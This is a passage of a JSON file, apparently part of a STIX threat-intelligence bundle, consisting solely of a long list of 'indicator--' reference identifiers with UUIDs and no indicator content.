        "indicator--2904fa80-babf-4291-bcb8-2ab7c0dcc69e",
        "indicator--020959cb-9b0a-452e-8335-fbf9cb0b4295",
        "indicator--2d76c29d-d5c7-4d9c-b395-faa05579e63d",
        "indicator--9d9462ca-6d5f-4575-8269-2f4e279fe064",
        "indicator--bae2eecf-cae0-4e3d-897f-6d554ebc7b05",
        "indicator--9f549da3-2dae-438b-adac-e58b604acb1f",
        "indicator--8a0f20a5-e4cf-4040-8bb4-4054907c7c25",
        "indicator--a18bac62-ed46-4279-9479-47818b2ef078",
        "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
        "indicator--876d7c42-f820-434d-a302-e5617d4673e2",
        "indicator--b03d7624-6235-4d20-a566-b52a426e5b77",
        "indicator--746c2690-f960-4e70-84ba-7c8f80c35796",
        "indicator--ec7b65df-9e51-4997-a227-3fd889939b9b",
        "indicator--c25eb13c-70f7-4c20-897f-c6c06ea8c967",
        "indicator--8d274456-b020-4e8f-b122-8541d23a6d1e",
        "indicator--14204ec2-cba9-4eae-ae6e-9d83f56c50e7",
        "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
        "indicator--b5b585e1-5749-42e3-9cba-b10aea936ada",
        "indicator--042063a5-2147-4207-a0c3-e01e2b9064b4",
        "indicator--fd1a7133-fbc9-449b-9b7d-82a8cd706538",
        "indicator--0bd65a2d-9e8b-4e9d-8198-8fffed1b3f2c",
        "indicator--a7a64001-b817-40b2-856b-556f0d58ebf0",
        "indicator--50b8e87e-09f5-43e8-80c3-78bcec2c0400",
        "indicator--a39f23db-28fa-482a-b11b-7207b4e8b2c6",
        "indicator--8e81dc51-d987-484b-bd5c-95eb5017d0ad",
        "indicator--a3b46cc6-7cd9-4479-8979-acb0b0aac13c",
        "indicator--4ba0cb98-984c-44ce-b167-148cda4a8f79",
        "indicator--d6d37558-c942-4364-8aff-bac300f33e43",
        "indicator--c7fb7cc3-8b4b-4274-84b2-20e09c683426",
        "indicator--1e390a7e-0183-4968-96b7-03d096d6519f",
        "indicator--560c9030-5503-4362-8d1c-af0a1536df07",
        "indicator--3402a4e8-6740-45e8-97ac-74725bd7e85f",
        "indicator--14634c31-c403-40dc-947a-dff6d02f9fd8",
        "indicator--3ef55d4c-c0f3-4d0a-9d0d-3887800c8a1d",
        "indicator--bbbaca31-2bf3-4444-b4bf-d8b4b2323cfe",
        "indicator--f7d2887f-98f7-4146-9a68-5272fbd17c12",
        "indicator--9ea99e35-63ef-4fc1-90a0-3d672793f7fb",
        "indicator--67fac82d-800b-4bc7-ae22-51d4d1db2ef4",
        "indicator--ceeb636b-1d97-4bf8-872d-e371e6215fd5",
        "indicator--fd26dc13-ddb7-446c-9c90-1b2226ff51f5",
        "indicator--104e1034-d200-4de8-aa87-a8ad14b33d3e",
        "indicator--cffcba58-4eac-4bfb-aae9-4f3052aa7e82",
        "indicator--2e297efa-a4e5-4f16-bd52-cbf92deead2b",
        "indicator--ba718618-dabf-43e5-a35f-1a9115527a40",
        "indicator--3af42a3d-75be-4dc4-a74d-1e1fc3167ff1",
        "indicator--56cbcb5e-8b36-4706-88c5-3f7f2e257129",
        "indicator--1a7e7261-56dd-4ca5-b9ea-e2939918034c",
        "indicator--4ebd114f-a087-4384-bf39-eb25a22011af",
        "indicator--0cf1473a-b209-428a-8f80-d8e8f425e26b",
        "indicator--4a1a3b58-5076-4dd4-8a41-7b6938367693",
        "indicator--76436c26-e29d-4f61-a063-e3e155a84441",
        "indicator--c2cc8ff6-773b-44f1-bd68-ac25d52cd10c",
        "indicator--671e450b-b1e1-4490-a8c2-7e2c30646237",
        "indicator--b756615b-3ed3-4b74-ad88-194e1b6f9a62",
        "indicator--7396a16f-93ad-4fb4-8d0c-e2babdebd9ec",
        "indicator--59246b16-0f87-4447-803f-bb4a51d83256",
        "indicator--bcb24a26-1e5d-47cc-b271-d555a72b5e3a",
        "indicator--0dd35b83-2a37-4abc-aa62-5b9650e8a55a",
        "indicator--de7567a7-1d5d-4e67-8e71-38d90b0d291b",
        "indicator--ed4be67b-5aa4-4190-a299-347b419740a1",
        "indicator--2cf18e48-6d41-4efb-a7f3-248e05318447",
        "indicator--e03c3c3a-4365-4df1-8ee6-6910f05e6ed3",
        "indicator--178452a6-8c80-48fe-8e97-395da6682dea",
        "indicator--64e949fe-8ed3-4d45-9149-354c5fa33cd0",
        "indicator--44a8b756-b423-4cbf-b48f-4f1f670d2a3b",
        "indicator--89399627-0f05-4760-8453-b26a389e4328",
        "indicator--156da012-e2b1-4d3a-b28f-ac23ab65ed61",
        "indicator--75246d8c-faac-4bef-b1f0-ce05696bd7ef",
        "indicator--861798a2-a70a-4dbf-a13e-2bbee8eff1f9",
        "indicator--080e2580-46d8-42dd-927c-43da330670f4",
        "indicator--a3d12cd8-b3a8-4497-80d9-411afb38ad46",
        "indicator--d11aa636-d936-4fd2-b9af-9ebe2256eb57",
        "indicator--d02de525-0c54-473b-af55-c0765ee899bd",
        "indicator--d12d9ff9-3630-45a6-8043-e9034fc29218",
        "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
        "indicator--2edb8226-bfe7-4e23-ab19-c237020ba2c9",
        "indicator--83cf0401-2069-4004-b084-764a3e58a429",
        "indicator--b9f444bd-9732-4b46-86a2-e412412ed20d",
        "indicator--5bc787c1-dc82-4ba5-99d4-1b8bdbcfc63b",
        "indicator--ccce452f-d21c-4d9e-8d92-b23b85192769",
        "indicator--b359dd90-fe71-498e-9ed4-bbd05871f333",
        "indicator--26fd1424-fbbd-4435-9e1f-1851d6f60128",
        "indicator--91bef624-1c3b-4f80-be53-d08e38a7fc25",
        "indicator--f87cc8b9-8dfc-4b90-9e5d-5000e8c94b51",
        "indicator--7ef88bbe-7def-412f-ac0c-e8d5df41095d",
        "indicator--206a453f-a51f-4ff8-820c-128493fd30a0",
        "indicator--d63fcdb2-47cb-48e2-8558-2aa1be0c437f",
        "indicator--e4330c67-a161-400e-a0ab-b947df1af1e9",
        "indicator--62f80315-af4a-4506-b8ea-a3f14268ed67",
        "indicator--a83af207-036e-4e03-8e94-a6c4a48a27c7",
        "indicator--5745989c-7686-492f-9163-e9991a46d7e2",
        "indicator--11e9a84f-bad4-43d6-8551-dd914f508b9e",
        "indicator--5a8cc81c-8ff1-4c56-8f6e-98a111395ae5",
        "indicator--cf489a12-8b15-4942-939a-7df5f91723d7",
        "indicator--b24fcce2-e108-492c-a99a-20f26f21d641",
        "indicator--adccc6d7-22a5-4edd-a44a-d16e35622750",
        "indicator--4e4960b5-0acb-424b-b582-07aab58d0f38",
        "indicator--97c107e8-688f-4da3-a4d8-6b137a5df46b",
        "indicator--dbc7dcad-99d2-41ed-a377-95ca1444ca6c",
        "indicator--502f8446-9fe0-4aea-842b-8baf9c2a788a",
        "indicator--8cbf4bc5-6dcd-41bd-b4f3-8af6d8b35ce2",
        "indicator--3c6d9c53-7968-45bc-989b-6a32b249be18",
        "indicator--79a3e75c-7894-4735-8356-d23147c3f9ab",
        "indicator--d3b5cbe5-46dc-4445-8aaa-ea4165f42e93",
        "indicator--c04f62a4-8079-4bae-8051-da8d1fb1beb3",
        "indicator--961332dc-137e-44fb-9937-a0bc08979f91",
        "indicator--b244d925-f849-4a51-bca0-5d4535183f26",
        "indicator--75a8c55a-e94a-4f39-8700-3d296a65cf12",
        "indicator--c9898f13-bb9e-4642-b6e9-9687cebf91ff",
        "indicator--8c609c0f-1b94-40f1-ba4e-49e35798777b",
        "indicator--b5e7224b-0203-4395-8066-1876a4521d8b",
        "indicator--b940240c-c2d4-4006-bea9-a51ff2e1ffb4",
        "indicator--7dcd5e4f-e596-4451-80e0-919e965d26dd",
        "indicator--061e5015-3712-4447-9820-682d3a3b6a0a",
        "indicator--f677878c-0b7b-41cd-8e8f-8261c5256df2",
        "indicator--ed363d9c-ec73-4b28-a17e-74dd1142a952",
        "indicator--012ab29f-76dd-44e6-b1a3-94065632e3d2",
        "indicator--ebe6629a-75ec-492a-867b-b7ff9deadba8",
        "indicator--f82365db-44db-4311-b4e7-e841f0b2787a",
        "indicator--deffb546-16a2-484c-9cd5-4d36c55ff9a7",
        "indicator--0c7675f9-5357-4e4d-8163-1b8e02ead686",
        "indicator--03b217b2-fa82-4b38-ae67-0b2d701ebe66",
        "indicator--1b8ffd11-a67c-4127-a8ad-7f813476918b",
        "indicator--229a2725-e0c9-4bb9-9015-4b82b0605f78",
        "indicator--0f9903a5-aef8-4b56-a9ee-07cbae4e3f71",
        "indicator--12da33d5-8221-4515-bbe6-241fff4d3769",
        "indicator--1ea81e44-8159-4148-81a0-cd75e2f3327d",
        "indicator--d6821c41-e209-4401-91f8-34ed8602aba4",
        "indicator--79743c7b-49a4-441d-9dd6-849337f756a6",
        "indicator--b671ec01-2a07-41fa-97d1-66239afe9c47",
        "indicator--38185fa0-626a-49e0-85c0-5f9f2fcf1abc",
        "indicator--976a71cd-2e4b-46fb-9a9f-2743af4eade1",
        "indicator--a0310af9-c39d-4d7f-b109-9bd48cfe4f72",
        "indicator--5fc343cd-edc5-4571-969a-75474cd42e46",
        "indicator--2571a863-bd53-487a-997f-616c3b30db32",
        "indicator--614a40c4-30c4-41c1-91fa-65289f1bd381",
        "indicator--d32d00ac-827a-458d-8259-c0209f4736f2",
        "indicator--c9f34465-995e-4bda-b4cb-f0efdbaa36ca",
        "indicator--932633ac-90dc-490b-a3cd-dd13e335a3d3",
        "indicator--89935d24-41c6-4fbd-94c7-26ac53a43588",
        "indicator--ddf9266f-3be0-4cae-97b5-3baf15b7bcd3",
        "indicator--1e81521f-4e4e-46fe-9823-353165c0f3cb",
        "indicator--3dca481c-4e42-4d5c-8b30-f69511072777",
        "indicator--5b474ac6-bd39-42df-8da5-b0350ff98baa",
        "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
        "indicator--fbdc6074-3f2b-47c4-a8c6-552092bfb74c",
        "indicator--13d4e8d5-b4e4-48e0-9e77-292bd260a94b",
        "indicator--f13d901f-ce5d-4e2a-9c86-19c6ad94145a",
        "indicator--90a541f5-5252-4922-9e28-503a07eb76c0",
        "indicator--2a223f27-3c4c-47d6-9330-b0f5edfb0374",
        "indicator--a38d44ad-2b1d-47a2-9b67-9c6d72bb1f84",
        "indicator--a6f8d423-1abe-448b-84b4-0e466138b61b",
        "indicator--45cf307e-3564-4eb4-84a4-fcf4ffc5edc1",
        "indicator--e95134c2-19ed-4a2b-9ad0-3396525de8cb",
        "indicator--97d2a9c2-7c5e-4044-ab7c-c5293ea2f181",
        "indicator--eb0c2cc5-3356-477d-ab73-715464d23f54",
        "indicator--c7ef4a0d-166c-4dfc-868a-863405eb1133",
        "indicator--60f8567d-ba63-4ab6-a4dc-4dc02b4b87bc",
        "indicator--b58a9b61-1b7e-4d7e-93f4-a48208f1fd93",
        "indicator--f77d85d7-b71b-4614-ba9b-79834f2e6d41",
        "indicator--0f885a9c-7d4f-40b5-8513-115f05d3b928",
        "indicator--ebd770de-0f85-49d6-a3de-6e4e297dc937",
        "indicator--b07bda6f-57de-4f91-8e57-dd6e0e8239d4",
        "indicator--8a987a68-23a6-42b1-8abf-69b4008ad91f",
        "indicator--12ae0f6f-4d8d-46c8-9cad-a82cfba2bf1a",
        "indicator--94120fad-66a1-4915-a7e4-e61ca4d080b9",
        "indicator--154ce359-a4d9-43a2-b731-c2c1cea572a6",
        "indicator--eba448b1-dd26-4318-a470-ddb2d84a28d4",
        "indicator--9fdc18a5-a7cc-42f3-8281-adaf9501b2fa",
        "indicator--55620668-a115-4d2c-a7f9-014006e0659b",
        "indicator--9d6237e3-345b-48ef-851a-703320245ae8",
        "indicator--3d1973ab-7f98-49eb-9d95-6bd19d056884",
        "indicator--b45bf46f-4e30-4ed1-87b5-8cbab7884b37",
        "indicator--e1fe3b3e-c4ac-4496-a9a3-af049a6eade0",
        "indicator--24d2fe46-dbe9-4449-9ee2-334973f884e0",
        "indicator--a8fab8f1-c5c2-4ea2-8f10-07ff674b68b9",
        "indicator--c6169446-b8fb-46aa-98e2-5254aa57b71d",
        "indicator--0011bffe-124c-4038-8740-a54d94885cac",
        "indicator--6322b473-397c-47f9-852c-3aa54b21ed93",
        "indicator--c2a12ca7-ff52-44eb-82ca-601f002cdb13",
        "indicator--7eb6bfc7-dfa0-47af-89e4-2125938e18df",
        "indicator--daed3429-50e4-4e9b-9717-c8c7a38660e3",
        "indicator--d2a580b0-993d-47aa-b7ec-bc69bd077d6a",
        "indicator--2ffdfbc2-df6d-46cd-963b-6ba47469fb36",
        "indicator--f062cfc2-e94f-4f9e-9e66-048fdcd708dc",
        "indicator--cf45b918-2c82-4554-993b-1458706f95f4",
        "indicator--75414612-c121-47ca-9ae1-1e56ed760184",
        "indicator--76a04613-81b3-4f52-8aef-2fb06033589d",
        "indicator--1e4732b2-11ce-42ec-86fd-71af02676d7f",
        "indicator--e3351581-217a-480b-b87e-b25179d51dc9",
        "indicator--26e18192-ebf6-4a04-b718-3b41c794c616",
        "indicator--f11a9b3a-303f-4b7c-b994-4a9ed5e8f0eb",
        "indicator--97fa311b-c4c0-48f4-b1e4-4031c1fca280",
        "indicator--825600e9-e444-40a2-8989-dd6ddafccbb6",
        "indicator--d40dbf6a-322c-4db6-a90a-cc0b0826ab41",
        "indicator--8e40ff95-164c-47e2-b12c-a9eae8bd165d",
        "indicator--3a2978eb-e590-4f5f-80fb-3f9acba19bfc",
        "indicator--4cc5ecc3-959e-4fb3-8b51-830762ecd036",
        "indicator--40ffffc8-bc28-484b-a52e-979b06d97834",
        "indicator--8f711e34-fef7-4954-987e-89e7290a3c08",
        "indicator--7b4227ef-62b9-4ff3-92bb-1d740b4620d5",
        "indicator--bcfde7b7-9a21-40c5-8897-39003f19d164",
        "indicator--b6b9da4a-1c0b-46a2-9120-181c3b98b13a",
        "indicator--a62c8aa9-c1ac-4dd2-a929-e8864e81513f",
        "indicator--ee371d52-5d9f-4998-a1e2-aa7d20cd093a",
        "indicator--e38e40ac-dab2-4f09-b7a2-4ce5d7c7949b",
        "indicator--88df4936-c0d8-4faf-a98f-98961edd3235",
        "indicator--2194a187-66a6-46d9-929e-bf240c569dab",
        "indicator--c08609c3-bde6-4922-9f2a-c976e8911152",
        "indicator--24a313d5-1094-4db8-b9fa-ea876dc20b90",
        "indicator--9458fc81-1e1f-4542-9efd-3803fd1af9f5",
        "indicator--64135abf-b4ad-4220-86ee-9f0b49116f9d",
        "indicator--9186d0ac-4f21-41e6-b420-7279798655d8",
        "indicator--b5fcd94a-3142-42aa-87c4-a917124656e3",
        "indicator--3aec316a-6906-475e-93a3-646e0c45e24e",
        "indicator--c8d7862b-7049-4150-85a2-f9f7ec42de7b",
        "indicator--980179dd-c69c-408a-a19d-fbe6cc5ea5e9",
        "indicator--897902ef-80b3-4234-94d1-681c3ae37b02",
        "indicator--8b7d2c3f-ed33-44f4-8108-bc67bbb92f83",
        "indicator--849617b1-f9e8-4acc-8224-7a629973b51e",
        "indicator--042e805d-e091-409f-8a37-78478a5eda0a",
        "indicator--fa385a09-c6f0-4ed8-a8a8-c7665dc4db85",
        "indicator--46b47650-f69b-4ad9-98fe-472b8f4283f1",
        "indicator--9253bb34-487a-4018-b7a3-ab2ee8133bee",
        "indicator--60eac9e7-b0d3-47f9-838d-e1d926d6f69f",
        "indicator--26bff5ab-b4c3-41e7-be60-f01d85220abb",
        "indicator--db610f2d-3e8f-4c34-b196-d9565491edad",
        "indicator--44e1fb4c-fd1b-45ff-b313-9e3bb647ee67",
        "indicator--9b9f4f2c-1e93-43bc-9a50-e5cfb3be1da9",
        "indicator--322a6a84-82c2-4b17-8800-330981cd46a3",
        "indicator--c66a9302-197a-488b-aa13-e0db3b30d2a7",
        "indicator--e5e4227f-3b48-40f7-b343-62f209a9ec69",
        "indicator--a53761b5-ba3b-498e-9920-65db999527b9",
        "indicator--6b58a22d-1940-4d93-b596-52b585bcf7e0",
        "indicator--d6c6396c-1c2a-480a-b9cf-1d9719297b06",
        "indicator--1496abb4-ddba-4c08-bfb2-9176ba15f8f8",
        "indicator--c0529f37-995f-4e4b-a056-b4848a322ccd",
        "indicator--06b0b56c-d6c4-48d6-9f1a-cc176f91016f",
        "indicator--037c39f4-1fe6-4c46-a12d-bae0d4a2f52c",
        "indicator--d6472478-cad8-498b-a0ea-30d79f16a28f",
        "indicator--11ddedec-35a7-47c2-818a-ca806c1dea8e",
        "indicator--e648b455-4ceb-4431-b014-fa926f2d2204",
        "indicator--9fe8d6a6-06e2-47c4-931d-eac0f084ca06",
        "indicator--7222a10b-7315-435d-a411-e47bd733d205",
        "indicator--1dd8cd3b-0bf6-479e-b78a-40b86dfa1d30",
        "indicator--8d0acc54-0e2a-4739-86c3-d45d60279be9",
        "indicator--6d91d213-b772-46be-aef4-5ef5761cc19b",
        "indicator--01a22168-796f-4b4c-a758-544ecbfebb8e",
        "indicator--d1abd9e0-324f-4e51-bafe-b0e1c6cf0a87",
        "indicator--828f1ba9-5b58-4384-90dd-306b0f9dc36c",
        "indicator--653abe34-85c1-45a5-83f4-6623eaf08aea",
        "indicator--d994e202-26d9-4a85-86d7-bb87311354b0",
        "indicator--b2c2a3d5-0e6b-45e8-80f0-93f1a823516e",
        "indicator--d12f2bd9-e81a-40c4-8284-20a9eab81c58",
        "indicator--2110516c-64b8-4e81-b6e3-41f1b6d10856",
        "indicator--b24353da-13d9-4714-bcf8-70984088565e",
        "indicator--113bfb87-c3a8-42aa-b957-476d6b32b3ff",
        "indicator--426743f8-6bbe-4c28-8ace-bea757fbeb67",
        "indicator--70ee3669-fbde-404d-bd87-5e375a456ec9",
        "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
        "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
        "indicator--0a86f4f8-2930-48ec-a7cc-740581e67ac0",
        "indicator--414ef1d3-15e3-41ed-92fb-284a024704ce",
        "indicator--bd5c9da7-9e74-4407-977a-58c9ebbda093",
        "indicator--707c51bb-c703-42e1-a251-9ddd691f8410",
        "indicator--3c6b20c1-33bc-436e-9089-03481e91f937",
        "indicator--dec27763-f547-45dd-84f4-91afac32a6a8",
        "indicator--c0aa7fa4-b1de-4991-bdd3-b58e74d83c2c",
        "indicator--7c9982ee-ff4a-473e-bdd0-28fad46361d6",
        "indicator--d2bfa142-7f28-4a56-956f-e9697e125132",
        "indicator--b69c6a83-1f95-4091-bd05-b190127b1522",
        "indicator--25dd57db-c91c-4bf7-bf3e-b6aa3fefa6c4",
        "indicator--91ecaa8c-1f61-49c7-bf0f-89d2c3625094",
        "indicator--986a3e84-ac55-4f2a-aed2-fd1a64001e79",
        "indicator--95853d71-06fa-4873-beab-e5f608907f06",
        "indicator--936bd68e-fae2-46af-a8dc-9e718f29c913",
        "indicator--1d1e5252-b448-4a47-a961-f8cc74bc58bc",
        "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
        "indicator--bae441d5-6ecd-4be7-af78-65ee3caff0a7",
        "indicator--79d85a20-ff94-40b7-afc4-7424aa783b04",
        "indicator--20982fc3-bfb3-4335-a08b-641d16c6acca",
        "indicator--917b6aba-03bd-4838-aaad-43eb5a0e729e",
        "indicator--bcd8acb1-6d44-4e67-8110-09a85160e352",
        "indicator--4599dc5c-d86d-4715-abe4-785dcdcdc671",
        "indicator--a601c6c8-f24e-4bf0-b4cf-bbb2ad950193",
        "indicator--7dba9393-1002-4ec5-8952-6821710b4002",
        "indicator--47d19ee2-652a-4f66-9d02-088a2f4aad0b",
        "indicator--b999b655-22d1-4005-b37c-7ce9f76c464c",
        "indicator--54cc8d74-112e-4bdd-9b09-0d989b1b6a80",
        "indicator--1351e28d-90c1-4d3b-9013-98c90792cd0b",
        "indicator--d2efbd23-955d-439b-9236-92f5828c6092",
        "indicator--2c8db688-d962-4437-a7cc-5071bfc49d08",
        "indicator--4ceecf60-1a41-4327-bf49-f8cd0f855bf4",
        "indicator--00ddae1e-3224-4603-b24d-92ef97e7bc2a",
        "indicator--5e2029a2-ef65-45e3-88a5-f72277a1041b",
        "indicator--875cd5b1-94dc-455a-b375-7dc83747a6f9",
        "indicator--34f2322a-8dc2-4070-a150-524823b3f4e3",
        "indicator--3d1acad1-7fe8-411b-a69e-8d9353596e7c",
        "indicator--70c33ef7-5e61-4309-8f79-7abea8ad870b",
        "indicator--cdc2c59d-a551-4fcd-8498-20543c181d65",
        "indicator--b77429ef-d087-4b3f-88ff-41060f9bf860",
        "indicator--7a90aaa6-3555-4145-b5c7-54448539e0d5",
        "indicator--d185dbf2-a811-400a-a575-9bcc9059c721",
        "indicator--b5974619-2eca-4d46-8dd5-979444a5ac03",
        "indicator--6bdda29a-39b4-4cc2-99c8-a7943026efaf",
        "indicator--1e651680-ee9a-4c8b-bfcd-f9f11583b547",
        "indicator--755bf520-81cf-4cca-8d1f-ebd3b6975a90",
        "indicator--24568f1e-103e-471a-89eb-eee06043e558",
        "indicator--08dc8ed5-5cf6-4064-8729-a06aa0ffe3bf",
        "indicator--6ae22280-6ab6-4956-bf8a-2cd6169fdf9f",
        "indicator--a6c87e35-4308-4931-b560-ada215349a3e",
        "indicator--d5bc94c1-e7c1-401a-b8ef-dff0252ce1e1",
        "indicator--36f530cd-14de-4b77-ad3a-088bdf0802c1",
        "indicator--acec5631-2c3e-453b-a6a2-12b1625001dd",
        "indicator--92d042e3-708b-446b-84bc-95db8e1994dc",
        "indicator--57c4dc66-a8a5-4b96-a3a2-e0288b0f3678",
        "indicator--be7e927d-a2c4-4c03-bf04-6051bf788d8e",
        "indicator--2e18c045-d286-45f5-9a90-d4b5eeac0cf5",
        "indicator--9b1ba935-590a-416e-a4e5-9be1df709177",
        "indicator--1acb1fa4-fc6a-4fc7-8275-1cc1ad822694",
        "indicator--7dea1523-4eee-4e89-855d-e7aa56b51ea4",
        "indicator--f92241e2-270b-47bc-8b79-6546a8e87163",
        "indicator--a402db5e-22e1-42f4-8fdf-8bc856f9ac00",
        "indicator--a02ee538-2749-4738-b07d-f1960180dba0",
        "indicator--e489b2d7-a160-4f82-b428-05d742dcdee4",
        "indicator--539d64e2-1d23-4c74-96b2-a83428a1366e",
        "indicator--1468ce08-6409-424a-9f8f-013252bf61bf",
        "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
        "indicator--d0f5c303-f82e-4ad2-af03-9b96424ac165",
        "indicator--50695176-2728-4be1-ac85-fe8a0f5c8e7e",
        "indicator--2230ba0b-cfc7-443a-a9aa-35e213d672f7",
        "indicator--54b368b7-6a92-48cd-a6f9-d7ada7806f66",
        "indicator--c6f0b318-ede3-4225-a276-508bbb2a4dda",
        "indicator--76b7ccfc-31ba-4d34-9b56-abc9e20a13a1",
        "indicator--1b5c27bf-018d-4236-b3e0-e2e48a96695f",
        "indicator--ceac965d-25de-4c60-9bf2-6bfa58a50a78",
        "indicator--c781fbf9-abc0-4143-ac89-0e92ccb3e5d6",
        "indicator--670efe8e-9289-4bed-bcf3-61f68df618b3",
        "indicator--7bdde897-e524-46ab-b528-bf90ef894e24",
        "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
        "indicator--c00cad4c-9a83-4e5e-9b78-82d2a98eef3c",
        "indicator--c3e89923-48ea-40ec-a3d4-efb704a22558",
        "indicator--c92af2b7-b84b-4ced-a641-343435f2bfad",
        "indicator--30755f12-466a-4873-88ee-28935af5ca24",
        "indicator--9c121c37-f690-45e4-9732-3a452992566b",
        "indicator--82bfde9f-f9c3-44a8-8067-a48faf1d1a8e",
        "indicator--121a859d-8085-4f24-a11b-4929b631ba41",
        "indicator--628f8b4f-5e31-4e76-b6db-48f8ef7b135c",
        "indicator--7e327b68-2cb5-4d8e-9ef2-821171d99931",
        "indicator--3bb27aa2-d729-46cc-b2aa-f3eddccd494a",
        "indicator--5b4e5afa-b30a-49b9-927a-da6eb7a2d8c5",
        "indicator--4a6b9e70-76a3-45a2-8412-65a567a2bf15",
        "indicator--70b5c8c4-09cb-4c8a-9601-22f9d3d9d399",
        "indicator--e83a7ab4-76e6-4150-8e6c-9c78389925aa",
        "indicator--0bafed1b-6a9f-4591-88e2-c1967fce09d6",
        "indicator--7764f607-6c01-49cd-8493-91fe6c992de0",
        "indicator--1a90fab1-89c0-454b-a23a-9cf6dcb8e141",
        "indicator--745a3ff3-5935-45b7-af88-dc05133a59b5",
        "indicator--c0cf57d5-1267-41c1-97e5-6930c865ed01",
        "indicator--78c100ce-5264-44fb-b4e2-2d019b7d02ef",
        "indicator--ec130e81-2a50-4b45-8d36-ac46db04c20c",
        "indicator--eddf76f8-854f-4477-8d45-1999affd18d9",
        "indicator--63eef2d1-ca3d-4e98-a9a1-eeb4f4be58c7",
        "indicator--674943fe-b232-4505-b44b-c84516c0f4a0",
        "indicator--73541bc4-4cfe-455d-b7be-258bf6232260",
        "indicator--1d2a18d2-f3cf-401a-9f61-8923f90921b4",
        "indicator--df918b86-0ccb-416b-9ff0-d9a965d32888",
        "indicator--09456bc5-0b73-4864-9e1e-cdadb3f1388e",
        "indicator--0fdfba4a-d85e-4457-b10b-bf43c83346e0",
        "indicator--d651a917-51c8-4718-856d-98c3577133d9",
        "indicator--a0df900d-a96a-499c-9d00-66030a0c3368",
        "indicator--ae39f7eb-cef5-4ebd-89b1-aed04d79832b",
        "indicator--d793041e-f90a-40ea-bde5-edc84aeac47b",
        "indicator--0533063d-c4ca-48d4-ab75-5e92d091ea02",
        "indicator--9da41a2a-01d8-4563-b47f-0f2b0bde05d5",
        "indicator--61f74065-1581-44a9-8e61-7b07b91085c8",
        "indicator--137cfaa5-0999-4e67-a7fa-b697fc3cca6f",
        "indicator--a6b14623-0c57-4e63-97d2-b23ad2532ebf",
        "indicator--abb5b9ac-bac6-401c-bb90-4c479978ecee",
        "indicator--a8924ba8-84a0-4e66-8223-47e8735be934",
        "indicator--e23c7032-9cec-49e5-8021-fdfc9ca54ec7",
        "indicator--d1158602-c160-4ca5-933d-418247283312",
        "indicator--db2f164e-86c6-4510-9087-b757291fb989",
        "indicator--ef0799ed-ef03-475e-9bee-3f775a9e456f",
        "indicator--2419b0b6-acd5-4298-af1a-11c2b94e9602",
        "indicator--5ac09262-ea53-4c17-a7dd-15ec582d7ce0",
        "indicator--8c2784ff-e573-41df-8109-f9c3074ccea1",
        "indicator--4b3de1ee-f47b-481a-951c-ede79c8dc506",
        "indicator--f3912899-290f-4405-9a1d-484531410b2f",
        "indicator--33e33863-9766-49fe-b88c-f88ce9f31ef1",
        "indicator--67a43b7d-e533-4d97-9f7b-ad0b07114e5f",
        "indicator--f098c3cf-bd69-433c-8b1c-163bcfac8429",
        "indicator--07efc0ff-d24f-48ff-937a-c74a10c77e61",
        "indicator--2ade7f85-f860-42dd-9e02-1d39a5f936a6",
        "indicator--8092b172-0c37-4b4b-a1c9-9b8e592871d5",
        "indicator--99a402a3-d286-492b-9cb9-ff232e144174",
        "indicator--7e32ebbb-9ba5-4607-a17b-bc53089b0439",
        "indicator--7aa37aba-de18-44af-909b-1a4da9e4b895",
        "indicator--5ebee9c0-4240-4531-9db0-810ae4a343f4",
        "indicator--fbd4353e-2dc2-4abd-9064-8412b30dd95c",
        "indicator--791ab6ca-2b50-40c7-9cd6-36e9b23b6605",
        "indicator--6b3f5684-93e9-4c02-92b9-10e134e6a8a4",
        "indicator--efa89d93-7f82-4995-8245-19f68a9336ee",
        "indicator--38d0504a-3526-4775-b156-d0d7a812613f",
        "indicator--8434774f-6bda-4f40-ba44-73588da6e219",
        "indicator--c32c2c00-9834-4187-bc24-45089e9ee131",
        "indicator--77a5d815-10b2-4a94-822b-5e649d04e901",
        "indicator--870c9645-965f-4e78-bf3f-0a7438cb8123",
        "indicator--5e0f97ef-4254-4b26-bfe8-7d4953370af3",
        "indicator--c7720a4f-79b9-456d-9ab5-e199e71ae37b",
        "indicator--85ed559c-c794-4956-868c-45e115f800e4",
        "indicator--b9395d00-65b5-43c0-8b8a-c8aa44f54f64",
        "indicator--10c785ad-b1aa-40d9-8c3b-01ccc59f1c6c",
        "indicator--eace6af8-f303-4625-a4a9-e7bc001539a8",
        "indicator--36419849-44b2-4f2a-b936-f5baf6f13313",
        "indicator--ce155ec0-47ae-4c87-b83a-23929ee7a1b6",
        "indicator--9786ed25-a484-4813-aaa9-61c350541e23",
        "indicator--3de52255-964a-4f08-8dcd-5b814f20360b",
        "indicator--8b46176a-f8ac-4d24-9a06-8a8b11beb29f",
        "indicator--083b3a9d-3513-47d2-b7cc-50fc1066237f",
        "indicator--054a4839-67f8-411e-b6e5-bac8d10cc70a",
        "indicator--3ddb95a6-d028-48dc-8eee-e7408fcdf197",
        "indicator--e477337c-785a-4302-b969-080d3659ec00",
        "indicator--89409253-7b59-4a60-a836-a77edddd326f",
        "indicator--4ddc70f3-4046-4a58-8943-818763d78aa7",
        "indicator--f4de8683-922b-4518-81a4-2e1e5dc15f3d",
        "indicator--3e9b8a73-72a5-4a17-b9b4-394377d6e39e",
        "indicator--fe262add-4263-47f6-bf3a-cd28c298c495",
        "indicator--b0af726b-a2b5-4ea1-abed-ef2277528c97",
        "indicator--d6a2edb2-5fca-4f57-ac58-6857eaaf1cfa",
        "indicator--1be30274-a5d0-452c-adb5-039a6674e2df",
        "indicator--8abfc61a-f7e3-4230-a985-7b8a9d78ff4b",
        "indicator--33f9e433-63d8-4012-9cd8-592a6e83713e",
        "indicator--6637db92-d1e5-4037-9764-da8b2df01c53",
        "indicator--0aa0cf86-2aef-4db1-a4b8-e512dcfefcd1",
        "indicator--467632b8-fdfa-450a-82c4-7e9ca9facf36",
        "indicator--14275edc-e12b-4469-ab58-1b6a52367c73",
        "indicator--9b92476a-57d2-4f4b-8a66-16c50563e6b4",
        "indicator--dea68e21-40a6-4164-bcae-7e5b4f4928dd",
        "indicator--454e3aae-87f9-44a4-bc90-de0e4ae20811",
